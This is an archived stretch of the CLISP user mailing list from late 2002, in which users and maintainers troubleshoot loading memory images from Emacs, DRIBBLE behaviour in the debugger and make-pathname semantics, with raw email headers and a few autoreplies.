([62.253.162.46]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18HCJy-0003qZ-00 for ; Wed, 27 Nov 2002 16:14:22 -0800 Received: from satellite ([80.3.214.125]) by mta06-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20021128001232.BFHS29094.mta06-svc.ntlworld.com@satellite> for ; Thu, 28 Nov 2002 00:12:32 +0000 Message-ID: <001701c29672$d8774b10$6401a8c0@satellite> Reply-To: "Daniel Freudenthal" From: "Daniel Freudenthal" To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0014_01C29672.D81EA3C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Subject: [clisp-list] open .mem file in emacs (windows) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 27 16:16:02 2002 X-Original-Date: Thu, 28 Nov 2002 00:12:31 -0000 This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C29672.D81EA3C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I've just installed CLISP 2.30 with EMACS following the Common LISP = Cookbook guidelines. I've ported some code from MCL, and it appears to = be working allright, but I'm encountering the following problem: If I = dump an image using saveinitmem and try to load it into clisp under = EMACS, I get the following error message: READ from #: illegal character #\Null Backtrace tells me: Character #\u2039 cannot be represented in the = character set CHARSET:CP850. All my functions and variables are now undefined, i.e the file failed to = load. When I load the image in CLISP proper (i.e. not using EMACS), everything = works fine. I like to be able to load this file in EMACS, as I may want = to add/change code to the image later (and this happens regularly, with = the work I'm doing). I realise that this can be done in CLISP by loading = the file with the new code, but it just seems rather inconvenient as = CLISP itself doesn't quite give you the development environment that = EMACS does, and it seems a bit silly to develop the code in an = environment different from than the one you'll be using it in. So, my question is: Is this A. Standard behaviour B. Possible related to my setup C. A bug but, most importantly: how do I get around it? I'm running CLISP 2.30 under winxp, as far as I know, all is set up = according to the cookbook guidelines (no changes to EMACS either), and = (so far) I'm not encountering any other problems. Any input is = appreciated. Cheers, Dan. ------=_NextPart_000_0014_01C29672.D81EA3C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I've just installed CLISP 2.30 with = EMACS following=20 the Common LISP Cookbook guidelines. I've ported some code from MCL, and = it=20 appears to be working allright, but I'm encountering the following = problem: If I=20 dump an image using saveinitmem and try to load it into clisp under = EMACS, I=20 get the following error message:
 
READ from #<INPUT BUFFERED = FILE-STREAM CHARACTER=20 #P"C:\\home\\filename.mem" @1>: illegal character #\Null
 
Backtrace tells me: Character #\u2039 cannot be represented in the character set=20 CHARSET:CP850.
 
All my functions and variables are now = undefined,=20 i.e the file failed to load.
 
When I load the image in CLISP = proper (i.e.=20 not using EMACS), everything works fine. I like to be able to load this = file in=20 EMACS, as I may want to add/change code to the image later (and = this=20 happens regularly, with the work I'm doing). I realise that this can be = done in=20 CLISP by loading the file with the new code, but it just seems rather=20 inconvenient as CLISP itself doesn't quite give you the development = environment=20 that EMACS does, and it seems a bit silly to develop the code in an = environment=20 different from than the one you'll be using it in.
 
So, my question is:
 
Is this
A. Standard behaviour
B. Possible related to my = setup
C. A bug
 
but, most importantly: how do I get = around=20 it?
 
I'm running CLISP 2.30 under winxp, as = far as I=20 know, all is set up according to the cookbook guidelines (no changes to = EMACS=20 either), and (so far) I'm not encountering any other problems. Any input = is=20 appreciated.
 
Cheers,
 
Dan.
------=_NextPart_000_0014_01C29672.D81EA3C0-- From Joerg-Cyril.Hoehle@t-systems.com Thu Nov 28 00:28:16 2002 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18HK1u-0004i6-00 for ; Thu, 28 Nov 2002 00:28:15 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 28 Nov 2002 09:26:10 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 28 Nov 2002 09:26:09 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: df@psychology.nottingham.ac.uk Subject: [clisp-list] open .mem file in emacs (windows) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 28 00:29:05 2002 X-Original-Date: Thu, 28 Nov 2002 09:26:08 +0100 Dan wrote: >but I'm encountering the following problem: If I dump an image using = saveinitmem >and try to load it into clisp under EMACS, I get the following error = message: =20 >READ from #: >illegal character #\Null The error message shows that CLISP is not loading an image file, but = attempts to READ a Lisp (or .fas) file. You probably got your -M option wrong. When loading images, CLISP uses the OS' read() etc., so no message = about (Lisp)READ from the file #P"foo.mem" can appear. Did you try and execute ...\lisp.exe -M C:\home\filename.mem -B xxx/ = -E... ? Regards, J=F6rg H=F6hle. From df@psychology.nottingham.ac.uk Thu Nov 28 08:50:35 2002 Received: from mta03-svc.ntlworld.com ([62.253.162.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18HRqZ-0006QG-00 for ; Thu, 28 Nov 2002 08:49:03 -0800 Received: from satellite ([80.3.214.125]) by mta03-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20021128164728.CMSG3728.mta03-svc.ntlworld.com@satellite> for ; Thu, 28 Nov 2002 16:47:28 +0000 Message-ID: <000c01c296fd$d6a2c900$6401a8c0@satellite> Reply-To: "Daniel Freudenthal" From: "Daniel Freudenthal" To: References: Subject: Re: [clisp-list] open .mem file in emacs (windows) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 28 08:51:02 2002 X-Original-Date: Thu, 28 Nov 2002 16:47:27 -0000 Joerg, Thanks for your reply. I think I didn't make myself completely clear (or I am misunderstanding you), but the problem is not that CLISP won't open the file. Image files are associated with CLISP. When I doubleclick an image, CLISP loads it without any problem (no switches necessary). However, when I try to load the file in EMACS, with CLISP as an inferior LISP, I get this error message. And I don't think there are any switches associated with LOAD in EMACS (but I may be wrong). So, the strange thing from my viewpoint is that CLISP itself can open the image, unless you open it in EMACS running CLISP as an inferior LISP. And since I want to be able to change the code in the image, it would be nice to load it from EMACS since that has the development utilities. Dan. ----- Original Message ----- From: "Hoehle, Joerg-Cyril" To: Cc: Sent: Thursday, November 28, 2002 8:26 AM Subject: [clisp-list] open .mem file in emacs (windows) Dan wrote: >but I'm encountering the following problem: If I dump an image using saveinitmem >and try to load it into clisp under EMACS, I get the following error message: >READ from #: >illegal character #\Null The error message shows that CLISP is not loading an image file, but attempts to READ a Lisp (or .fas) file. You probably got your -M option wrong. When loading images, CLISP uses the OS' read() etc., so no message about (Lisp)READ from the file #P"foo.mem" can appear. Did you try and execute ...\lisp.exe -M C:\home\filename.mem -B xxx/ -E... ? Regards, Jörg Höhle. From postmaster@andrew2.stanford.edu Thu Nov 28 12:01:30 2002 Received: from smtp1.stanford.edu ([171.64.14.23]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18HUqo-0004AC-00 for ; Thu, 28 Nov 2002 12:01:30 -0800 Received: from smtp1.Stanford.EDU (localhost [127.0.0.1]) by smtp1.Stanford.EDU (8.11.6/8.11.6) with ESMTP id gASK1To23735 for ; Thu, 28 Nov 2002 12:01:29 -0800 (PST) Received: from andrew2.stanford.edu (Andrew2.Stanford.EDU [171.66.248.177]) by smtp1.Stanford.EDU (8.11.6/8.11.6) with ESMTP id gASK1S123731 for ; Thu, 28 Nov 2002 12:01:28 -0800 (PST) Received: from ANDREW2/SpoolDir by andrew2.stanford.edu (Mercury 1.48); 28 Nov 02 12:01:31 -0800 Received: from SpoolDir by ANDREW2 (Mercury 1.48); 28 Nov 02 12:01:23 -0800 X-Autoreply-From: To: clisp-list@lists.sourceforge.net From: Message-ID: <605453262A6@andrew2.stanford.edu> Subject: [clisp-list] clisp-list digest, Vol 1 #658 - 3 msgs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 28 12:02:11 2002 X-Original-Date: Thu, 28 Nov 2002 12:01:23 -0800 Hi! I'm out of town until Nov 30th. Although I will occasionally be online, I may not be able to reply to you until I return. If you have a lab issues that requires immediate attention, you may want to contact Devaki Bhaya or call the lab at 650.325.1521.605. In case of personal emergency, please contact my housemate, David Coale, at 650.493.4503. He has emergency contact information for me. Cheers, 'Jeff From Joerg-Cyril.Hoehle@t-systems.com Fri Nov 29 00:29:23 2002 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18HgWW-00051k-00 for ; Fri, 29 Nov 2002 00:29:20 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 29 Nov 2002 09:27:36 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 29 Nov 2002 09:26:11 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: df@psychology.nottingham.ac.uk Subject: [clisp-list] open .mem file in emacs (windows) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 29 00:30:02 2002 X-Original-Date: Fri, 29 Nov 2002 09:26:09 +0100 Dan, Emacs should be as capable as anything else to open CLISP with = arbitrary images. Your problem seems to be one of switches not well = set, as CLISP wants to read your .mem as a Lisp file (as if -M was = missing or somehow wrong). You could try in Emacs to (debug-on-entry = 'start-process) et al. to see how it invokes CLISP: you'd soon see = what's wrong. Beware of spaces in directory names and the problems with shell quoting = that arise from that, but that doesn't seem to be your problem. Here's some stuff of mine (using FSF-Emacs 20.7.1): (defvar lisp-program-choices '()) (setq lisp-program-choices '(("oaklisp-98" . = "D:\\hoehle/Code/Oaklisp/Oak98-alex/WINNT/Oak98AS/emulator.exe = D:\\hoehle/Code/Oaklisp/Oak93/lib/oaklisp.loc") ("clisp-2.28" . "H:/sspace/src/clisp-2.28/src/lisp.exe -M = H:/sspace/src/clisp-2.28/src/lispinit.mem -B H:/sspace/src/clisp-2.28 = -Efile UTF-8") ;;Problem: Emacs/4GW doesn't detect when process terminates ;;dos32\dos4gw dos32\emu_dos.exe worlds\oaklisp.loc ("oaklisp-dos4gw" . = "C:\\Programme\\Oaklisp\\Oak98\\dos32\\dos4gw.exe = C:\\Progra~1\\Oaklisp\\Oak98\\dos32\\emu_dos.exe = C:\\Progra~1\\Oaklisp\\Oak98\\worlds\\Oaklisp.loc") ("jscheme" . "java -cp h:/sspace/archive/jscheme.jar jscheme.REPL") ("kawa" . "java -classpath h:/sspace/archive/kawa-1.6.98.jar = kawa.repl") ("kawa-1.6.99.1" . "java -classpath = h:/sspace/archive/kawa-1.6.99.1.jar kawa.repl") ("brl" . "java -classpath = h:/sspace/archive/kawa-1.6.97.1brl.jar;h:/sspace/archive/brl-2.1.30.jar = kawa.repl -f h:/www/Redakteur/brls/brl-global.scm --") ("clisp-2.28-modules" . "H:/sspace/src/clisp-2.28/src/lispm.exe -M = H:/sspace/src/clisp-2.28/src/lispinit.mem -B H:/sspace/src/clisp-2.28 = -Efile UTF-8") ("clisp-2.28-regexp" . "H:/sspace/src/clisp-2.28/src/lispr.exe -M = H:/sspace/src/clisp-2.28/src/lispinit.mem -B H:/sspace/src/clisp-2.28 = -Efile UTF-8") ("clisp-2.28-dynload" . "H:/sspace/src/clisp-2.28/src/lispd.exe -M = H:/sspace/src/clisp-2.28/src/lispinit.mem -B H:/sspace/src/clisp-2.28 = -Efile UTF-8 -Eterminal ISO-8859-1") ("clisp-2.28-gdi" . "H:/sspace/src/clisp-2.28/src/lispg.exe -M = H:/sspace/src/clisp-2.28/src/lispinit.mem -B H:/sspace/src/clisp-2.28 = -Efile UTF-8 -i H:/Code/gdi/gdi.fas") ("clisp-2.27" . "C:\\Programme\\CLISP\\clisp-2.27\\lisp.exe -I -B = C:\\Programme\\CLISP\\clisp-2.27\\ -M = C:\\Programme\\CLISP\\clisp-2.27\\lispinit.mem -L francais"))) (defun choose-lisp (program) (interactive (list (cdr (assoc (completing-read "Run Lisp: " lisp-program-choices = nil t) lisp-program-choices)))) (run-lisp program)) This is using inf-lisp.el, not ILISP. I've had some strong bias against = ILISP in the early ninetees, and no time to re-evaluate it. My gripes = where about UI-aspects, e.g. the obtrusive popper windows and other = things. OTOH, it's far more advanced than the basic (good ol') = inf-lisp.el, e.g. featuring multiple sessions, packages. Regards, J=F6rg H=F6hle. From edi@agharta.de Sat Nov 30 15:14:27 2002 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18IGoW-0004A8-00 for ; Sat, 30 Nov 2002 15:14:21 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id BE46326041C; Sun, 1 Dec 2002 00:14:07 +0100 (CET) To: clisp-list@lists.sourceforge.net From: Edi Weitz Message-ID: <87bs461whs.fsf@bird.agharta.de> Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] (DRIBBLE) in debugger Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Nov 30 15:15:03 2002 X-Original-Date: 01 Dec 2002 00:14:07 +0100 edi@bird:/tmp > clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 ;; Loading file /home/edi/.clisp.lisp ... ;; Loading file /usr/local/lisp/defsystem.fas ... ;; Loaded file /usr/local/lisp/defsystem.fas ;; Loaded file /home/edi/.clisp.lisp [1]> (dribble "foo") # [2]> (/ 1 0) *** - division by zero 1. Break [3]> (dribble) # 1. Break [3]> :a *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL 1. Break [5]> (quit) *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL 1. Break [6]> I don't think this is a bug but I'd say it is a bit uncomfortable. CMUCL shows the same behaviour, LispWorks - on executing (DRIBBLE) - will automatically take you back to the top level while AllegroCL just carries on without problems - I think this is done by setting EXCL::*DRIBBLE-ACTIVE* to NIL. I prefer ACL's behaviour and think it would be worthwhile to add it to CLISP. Cheers, Edi. From sds@gnu.org Sun Dec 01 10:31:12 2002 Received: from adsl-151-203-48-21.bostma.adsl.bellatlantic.net ([151.203.48.21] helo=burivuh.podval.org) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18IYs3-0002HL-00 for ; Sun, 01 Dec 2002 10:31:12 -0800 Received: from burivuh.podval.org (burivuh [127.0.0.1]) by burivuh.podval.org (8.12.5/8.12.5) with ESMTP id gAQFf6SR003205; Tue, 26 Nov 2002 10:41:09 -0500 Received: (from sds@localhost) by burivuh.podval.org (8.12.5/8.12.5/Submit) id gAQFf4ge003201; Tue, 26 Nov 2002 10:41:04 -0500 X-Authentication-Warning: burivuh.podval.org: sds set sender to sds@gnu.org using -f To: Russell McManus Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] make-pathname question References: <87vg2lnvoz.fsf@thelonious.dyndns.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87vg2lnvoz.fsf@thelonious.dyndns.org> Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 1 10:32:02 2002 X-Original-Date: 26 Nov 2002 10:40:58 -0500 > * In message <87vg2lnvoz.fsf@thelonious.dyndns.org> > * On the subject of "[clisp-list] make-pathname question" > * Sent on 25 Nov 2002 17:14:36 -0500 > * Honorable Russell McManus writes: > > Should make-pathname support :type :unspecific ? no, we do not have to. see 19.2.2.2.3 and 19.2.2.2.3.1. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From postmaster@andrew2.stanford.edu Sun Dec 01 12:07:32 2002 Received: from smtp1.stanford.edu ([171.64.14.23]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18IaNG-0007vj-00 for ; Sun, 01 Dec 2002 12:07:30 -0800 Received: from smtp1.Stanford.EDU (localhost [127.0.0.1]) by smtp1.Stanford.EDU (8.11.6/8.11.6) with ESMTP id gB1K7To28746 for ; Sun, 1 Dec 2002 12:07:29 -0800 (PST) Received: from andrew2.stanford.edu (Andrew2.Stanford.EDU [171.66.248.177]) by smtp1.Stanford.EDU (8.11.6/8.11.6) with ESMTP id gB1K7S128738 for ; Sun, 1 Dec 2002 12:07:28 -0800 (PST) Received: from ANDREW2/SpoolDir by andrew2.stanford.edu (Mercury 1.48); 1 Dec 02 12:07:36 -0800 Received: from SpoolDir by ANDREW2 (Mercury 1.48); 1 Dec 02 12:07:30 -0800 X-Autoreply-From: To: clisp-list@lists.sourceforge.net From: Message-ID: <64D61454DC6@andrew2.stanford.edu> Subject: [clisp-list] clisp-list digest, Vol 1 #660 - 2 msgs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 1 12:08:11 2002 X-Original-Date: Sun, 1 Dec 2002 12:07:30 -0800 Hi! I'm out of town until Nov 30th. Although I will occasionally be online, I may not be able to reply to you until I return. If you have a lab issues that requires immediate attention, you may want to contact Devaki Bhaya or call the lab at 650.325.1521.605. In case of personal emergency, please contact my housemate, David Coale, at 650.493.4503. He has emergency contact information for me. Cheers, 'Jeff From sds@gnu.org Sun Dec 01 16:37:37 2002 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Ieaf-000305-00 for ; Sun, 01 Dec 2002 16:37:37 -0800 Received: from loiso.podval.org ([151.203.48.21]) by out003.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021202003730.QHFJ9711.out003.verizon.net@loiso.podval.org>; Sun, 1 Dec 2002 18:37:30 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gB20d4k7002931; Sun, 1 Dec 2002 19:39:04 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gB20d3hN002927; Sun, 1 Dec 2002 19:39:03 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Edi Weitz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (DRIBBLE) in debugger References: <87bs461whs.fsf@bird.agharta.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87bs461whs.fsf@bird.agharta.de> Message-ID: Lines: 58 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out003.verizon.net from [151.203.48.21] at Sun, 1 Dec 2002 18:37:30 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 1 16:38:53 2002 X-Original-Date: 01 Dec 2002 19:39:03 -0500 > * In message <87bs461whs.fsf@bird.agharta.de> > * On the subject of "[clisp-list] (DRIBBLE) in debugger" > * Sent on 01 Dec 2002 00:14:07 +0100 > * Honorable Edi Weitz writes: > > edi@bird:/tmp > clisp > [1]> (dribble "foo") > # > [2]> (/ 1 0) > > *** - division by zero > 1. Break [3]> (dribble) > # > 1. Break [3]> :a > > > *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL > 1. Break [5]> (quit) > > *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL > 1. Break [6]> this is because debug loop binds i/o stream vars which interferes with dribble "bindings". basically, starting and stopping dribble should be on the same debug loop level. > I don't think this is a bug but I'd say it is a bit > uncomfortable. CMUCL shows the same behaviour, LispWorks - on > executing (DRIBBLE) - will automatically take you back to the top this is not hard to go - just do (UNWIND-TO-DRIVER T) at the beginning of DRIBBLE. personally, I would find this behavior inconvenient. > level while AllegroCL just carries on without problems - I think this > is done by setting EXCL::*DRIBBLE-ACTIVE* to NIL. > > I prefer ACL's behaviour and think it would be worthwhile to add it to > CLISP. Instead of the current (quite complicated) implementation, we could just check SYS::*DRIBBLE-STREAM* whenever a stream action is done on a strmtype_terminal and act appropriately on SYS::*DRIBBLE-STREAM*. This will not be too hard to implement. The drawback is some (probably negligible) slowdown of terminal i/o (which should not be too important since people generally do not use terminal to do much i/o). Bruno, what do you think? Edi, are you prepared to check out the CVS head and test this change? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux The difference between genius and stupidity is that genius has its limits. From edi@agharta.de Sun Dec 01 17:10:39 2002 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18If6V-0002qI-00 for ; Sun, 01 Dec 2002 17:10:31 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 1A79626041C; Mon, 2 Dec 2002 02:10:23 +0100 (CET) To: clisp-list@lists.sourceforge.net Cc: Sam Steingold Subject: Re: [clisp-list] (DRIBBLE) in debugger References: <87bs461whs.fsf@bird.agharta.de> From: Edi Weitz In-Reply-To: Message-ID: <874r9xmdj4.fsf@bird.agharta.de> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 1 17:12:39 2002 X-Original-Date: 02 Dec 2002 02:10:23 +0100 Sam Steingold writes: > Edi, are you prepared to check out the CVS head and test this > change? Yep, would be OK with me if you allow for short delays (maybe one to three days - sometimes I'm quite busy with other things). Let me know when there's something to test. Cheers, Edi. From russell_mcmanus@yahoo.com Sun Dec 01 17:32:49 2002 Received: from bgp485821bgs.summit01.nj.comcast.net ([68.37.179.230] helo=thelonious.dyndns.org) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18IfQX-0006B3-00 for ; Sun, 01 Dec 2002 17:31:18 -0800 Received: (from russe@localhost) by thelonious.dyndns.org (8.11.6/8.11.6) id gB21WQX00417; Sun, 1 Dec 2002 20:32:27 -0500 (EST) X-Authentication-Warning: thelonious.dyndns.org: russe set sender to russell_mcmanus@yahoo.com using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] make-pathname question References: <87vg2lnvoz.fsf@thelonious.dyndns.org> From: Russell McManus In-Reply-To: Message-ID: <87lm39yzmd.fsf@thelonious.dyndns.org> Lines: 18 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 1 17:39:53 2002 X-Original-Date: 01 Dec 2002 20:32:26 -0500 Sam Steingold writes: > > * In message <87vg2lnvoz.fsf@thelonious.dyndns.org> > > * On the subject of "[clisp-list] make-pathname question" > > * Sent on 25 Nov 2002 17:14:36 -0500 > > * Honorable Russell McManus writes: > > > > Should make-pathname support :type :unspecific ? > > no, we do not have to. > see 19.2.2.2.3 and 19.2.2.2.3.1. You are correct, I should have read the hyperspec more carefully. I missed this section, actually. -russ From darrylo@soco.agilent.com Mon Dec 02 08:12:50 2002 Received: from msgbas1x.cos.agilent.com ([192.25.240.36]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ItBh-00041p-00 for ; Mon, 02 Dec 2002 08:12:49 -0800 Received: from relcos1.cos.agilent.com (relcos1.cos.agilent.com [130.29.152.239]) by msgbas1x.cos.agilent.com (Postfix) with ESMTP id 3B674CB22; Mon, 2 Dec 2002 09:12:48 -0700 (MST) Received: from mina.soco.agilent.com (mina.soco.agilent.com [141.121.54.157]) by relcos1.cos.agilent.com (Postfix) with ESMTP id D696F4FF; Mon, 2 Dec 2002 09:12:47 -0700 (MST) Received: from mina.soco.agilent.com (darrylo@localhost [127.0.0.1]) by mina.soco.agilent.com (8.9.3 (PHNE_25184)/8.9.3 SMKit7.1.1_Agilent) with ESMTP id IAA26039; Mon, 2 Dec 2002 08:12:47 -0800 (PST) Message-Id: <200212021612.IAA26039@mina.soco.agilent.com> To: "Daniel Freudenthal" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] open .mem file in emacs (windows) Reply-To: Darryl Okahata In-Reply-To: Your message of "Thu, 28 Nov 2002 16:47:27 GMT." <000c01c296fd$d6a2c900$6401a8c0@satellite> Mime-Version: 1.0 (generated by tm-edit 1.7) Content-Type: text/plain; charset=US-ASCII From: Darryl Okahata Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 2 08:22:45 2002 X-Original-Date: Mon, 02 Dec 2002 08:12:46 -0800 "Daniel Freudenthal" wrote: > And since I want to be able to change the code > in the image, it would be nice to load it from EMACS since that has the > development utilities. Are you actually trying to load the .mem file into Emacs, or are you trying to load the .mem file into clisp, which is running under Emacs? It sounds like you're trying to 